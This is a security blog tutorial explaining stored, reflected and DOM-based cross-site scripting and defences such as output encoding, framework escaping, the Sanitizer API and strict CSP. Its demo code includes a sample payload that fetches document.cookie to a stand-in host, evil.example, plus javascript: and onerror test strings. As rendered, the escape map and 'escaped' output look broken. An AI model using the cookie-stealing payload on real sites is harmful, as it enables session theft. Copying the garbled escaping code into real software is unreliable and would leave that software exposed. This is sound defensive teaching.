Cross-Site Scripting (XSS) Explained: Types and Prevention
November 27, 2026 · 10 min read

Cross site scripting (XSS) is a vulnerability that lets an attacker run their own JavaScript in other people's browsers, inside your website. It happens when an application includes untrusted data, such as a comment, a search term or a profile name, in a page without making it safe first. The browser cannot tell the attacker's script from yours, so it runs it with full access to the page, the user's session and anything they can see or do.
It is the most common serious weakness in software. MITRE's 2025 CWE Top 25 ranked cross-site scripting number one for the second year running, ahead of SQL injection, and it falls under injection in the OWASP Top 10. The good news is that modern frameworks, output encoding, a strict Content Security Policy and a new browser API called setHTML() make it largely preventable. This guide explains the three types of XSS with examples, then shows the defences in working code.
How Cross Site Scripting Works
Suppose a site displays user comments by inserting them straight into the HTML. An attacker posts a comment containing an image tag with a broken source and an onerror handler. Every visitor's browser tries to load the image, fails, and runs the handler, which sends their cookies or session data to the attacker's server. The attacker never touches your server's code: they simply used it to deliver a script.
In short, cross site scripting turns your own pages into the attacker's delivery system. The underlying mistake is the same as in SQL injection: data is mixed with code. In SQL the "code" is a query; in XSS it is HTML and JavaScript.
The Three Types of XSS
| Type | Where the payload lives | Example | Who is affected |
|---|---|---|---|
| Stored (persistent) | Saved in your database | A malicious comment, product review or display name | Everyone who views the page, including admins |
| Reflected | In the request, echoed back in the response | A search page that prints "Results for" plus the query | People who click a crafted link |
| DOM-based | Never reaches the server; client-side code inserts it | JavaScript that writes location.hash into innerHTML | People who open a crafted URL |
Stored XSS is the most dangerous because it needs no tricking: the attack waits on a normal page. It is especially damaging in admin panels, where one malicious ticket or order note can hand an attacker an administrator's session. DOM-based XSS is growing as more logic moves into the browser.
What Attackers Do With XSS
- Hijack sessions by stealing tokens kept in readable cookies or local storage.
- Act as the user: change email addresses, make purchases, transfer funds or create admin accounts using the victim's own logged-in session.
- Show fake login forms on your real domain to capture passwords.
- Record keystrokes and read anything displayed on the page.
- Spread, as XSS worms on social sites have shown, by posting the payload from each victim's account.
Defence 1: Encode Output for Its Context
The core fix is to encode untrusted data when you output it, so that characters such as < and " are displayed as text instead of being interpreted as markup. Context matters: HTML body text, attributes, URLs and JavaScript each need different handling, as the OWASP XSS Prevention Cheat Sheet explains. This server-side example escapes HTML, rejects dangerous link schemes and creates a Content Security Policy nonce:
// xss-demo.mjs: output encoding, safe URLs and a CSP nonce on the server
import { randomBytes } from "node:crypto";
const ESCAPES = { "&": "&", "<": "<", ">": ">", '"': """, "'": "'" };
const escapeHtml = (value) => String(value).replace(/[&<>"']/g, (ch) => ESCAPES[ch]);
// Only allow link schemes you expect; javascript: URLs run code when clicked
function safeHref(input) {
try {
const url = new URL(input, "https://example.com");
return ["https:", "http:", "mailto:"].includes(url.protocol) ? url.href : "#";
} catch {
return "#";
}
}
// Attacker-controlled profile fields
const bio = `<img src=x onerror="fetch('https://evil.example/c?'+document.cookie)">`;
const website = "javascript:alert(document.domain)";
console.log("unsafe: ", `<p>${bio}</p>`);
console.log("escaped:", `<p>${escapeHtml(bio)}</p>`);
console.log("link: ", `<a href="${escapeHtml(safeHref(website))}">website</a>`);
// A fresh nonce per response: only scripts carrying it may run
const nonce = randomBytes(16).toString("base64");
const csp = `script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none'`;
console.log("CSP header set:", csp.startsWith("script-src 'nonce-"), "| nonce length:", nonce.length);
Running it prints:
unsafe: <p><img src=x onerror="fetch('https://evil.example/c?'+document.cookie)"></p>
escaped: <p><img src=x onerror="fetch('https://evil.example/c?'+document.cookie)"></p>
link: <a href="#">website</a>
CSP header set: true | nonce length: 24
The escaped version is harmless text, and the javascript: link becomes #. Never write your own escaping for production if your template engine or framework already does it; this example only shows what happens underneath.
Defence 2: Let Your Framework Escape, and Respect the Escape Hatches
React, Vue, Angular, Svelte and most server-side template engines escape values by default, which is why modern apps have far fewer XSS bugs. The risk returns through deliberate escape hatches:
- React:
dangerouslySetInnerHTML, and URLs inhreforsrcbuilt from user data; React warns aboutjavascript:URLs, but validate them yourself. - Vue: the
v-htmldirective. - Angular: the
bypassSecurityTrustfamily of methods. - Server templates: "raw" or "safe" filters that switch escaping off.
- Plain JavaScript:
innerHTML,outerHTML,insertAdjacentHTML,document.writeandeval.
Search your codebase for these names and treat every use as a security review item.
Defence 3: Sanitise HTML You Must Allow
Sometimes users need to submit formatted text, for example in a rich-text editor. Then you must sanitise: keep safe tags such as bold and links, and remove scripts, event handlers and dangerous URLs. Browsers are finally doing this natively. Firefox 148 shipped the Sanitizer API in February 2026, with an Element.setHTML() method that strips dangerous markup by default, and Chrome and Edge 146 support it too, while Safari does not yet. Until support is universal, fall back to text or to the well-tested DOMPurify library:
// render-comment.js (browser): insert user-supplied HTML without running scripts
function renderComment(target, userHtml) {
if ("setHTML" in Element.prototype) {
// Sanitizer API: strips scripts, event handlers and other dangerous markup
target.setHTML(userHtml);
} else {
// Fallback: show it as plain text, or sanitise with DOMPurify first
target.textContent = userHtml;
}
}
renderComment(document.querySelector("#comment"), "<b>Great post!</b><img src=x onerror=alert(1)>");
Sanitise on output, in the browser, rather than only when saving, because stored data outlives today's rules. Trusted Types, now available in Chromium-based browsers and Firefox, can enforce this across a codebase by blocking raw strings from dangerous sinks such as innerHTML.
Defence 4: A Strict Content Security Policy
A Content Security Policy is a response header that tells the browser which scripts may run. A strict, nonce-based policy like the one generated above allows only scripts carrying the random nonce for that response, so an injected script without it is blocked even if an encoding mistake slips through. 'strict-dynamic' lets your trusted scripts load their own dependencies, and object-src 'none' and base-uri 'none' close two common bypasses. Start with Content-Security-Policy-Report-Only to find violations without breaking anything, then enforce. In Express, Helmet can set the header for you.
Defence 5: Limit the Damage
- Mark session cookies
HttpOnlyso scripts cannot read them, plusSecureandSameSite. Our comparison of JWT vs session authentication explains why tokens in local storage are riskier. - Require re-authentication for sensitive actions such as changing email, password or payment details.
- Isolate untrusted content such as user-uploaded HTML on a separate domain or in a sandboxed iframe.
Hidden XSS Traps in Modern Apps
Most XSS bugs we find in reviews today are not in obvious comment boxes. They hide in places developers do not think of as "output":
- Markdown renderers that allow raw HTML by default. Disable raw HTML or sanitise the rendered result.
- SVG uploads. SVG images can contain scripts; serve user uploads from a separate domain with a restrictive content type, or convert them to PNG.
- JSON embedded in pages. Server-rendered state inside a
<script>tag must be serialised safely, or a string containing a closing script tag breaks out of it. - Error and "not found" pages that echo the requested URL or a query parameter.
postMessagehandlers that accept messages from any origin and write them into the page.- AI chatbot output. Text generated by a language model is untrusted input too, and it can be steered by prompt injection. Render it as text or sanitise it before display, never as raw HTML.
- Admin and support tools, which often skip the security review that customer-facing pages get, yet display data written by customers.
A useful habit is to follow each piece of user-controlled data from the moment it enters the system to every place it is displayed, including emails, exports and internal dashboards.
Third-Party Scripts: XSS by Proxy
Every analytics tag, chat widget and advertising script runs with the same power as your own code. If one of those providers is compromised, attackers get the equivalent of stored XSS on every site that uses it, a pattern behind many card-skimming attacks on checkout pages. Keep third-party scripts to a minimum, load them from pinned versions with Subresource Integrity hashes where possible, and restrict them with your CSP. Our guide to software supply chain security covers the wider problem.
How to Test for XSS
Testing works best as a routine part of development rather than a one-off audit, because new templates, components and integrations appear every sprint.
- Enter harmless test strings containing
<, quotes and<b>tags into every field, and check whether they appear escaped or rendered. - Review code for the dangerous sinks listed above, and for user data placed inside
<script>blocks or event attributes. - Run dynamic scanners such as ZAP in a test environment.
- Collect CSP violation reports in production; they often reveal attempted attacks and forgotten inline scripts.
For a broader checklist, see our guide on how to protect your website from hackers.
Frequently Asked Questions
What is cross-site scripting in simple terms?
It is when an attacker gets their own JavaScript to run on your website in other users' browsers, usually by hiding it in input that the site displays without making it safe.
What are the three types of XSS?
Stored XSS, where the payload is saved on the server; reflected XSS, where it comes from the request; and DOM-based XSS, where client-side JavaScript inserts it into the page.
Does React prevent XSS?
React escapes values in JSX by default, which prevents most XSS. It does not protect you when you use dangerouslySetInnerHTML, build URLs from user data or manipulate the DOM directly.
Is a Content Security Policy enough to stop XSS?
No. A strict CSP is a powerful second layer that blocks many attacks, but output encoding and safe coding remain the primary defence.
What is the difference between XSS and CSRF?
XSS runs attacker code inside your site. CSRF tricks a user's browser into sending an unwanted request to your site from somewhere else. XSS is generally more powerful, because it can defeat most CSRF protections.
What is the Sanitizer API?
It is a browser feature that safely inserts HTML with setHTML(), removing scripts and other dangerous content. Firefox and Chromium-based browsers support it; Safari does not yet.
Make Your Front End XSS-Proof
We audit React, Next.js and server-rendered applications for XSS, deploy strict Content Security Policies and fix unsafe rendering patterns. Contact our team for a front-end security review.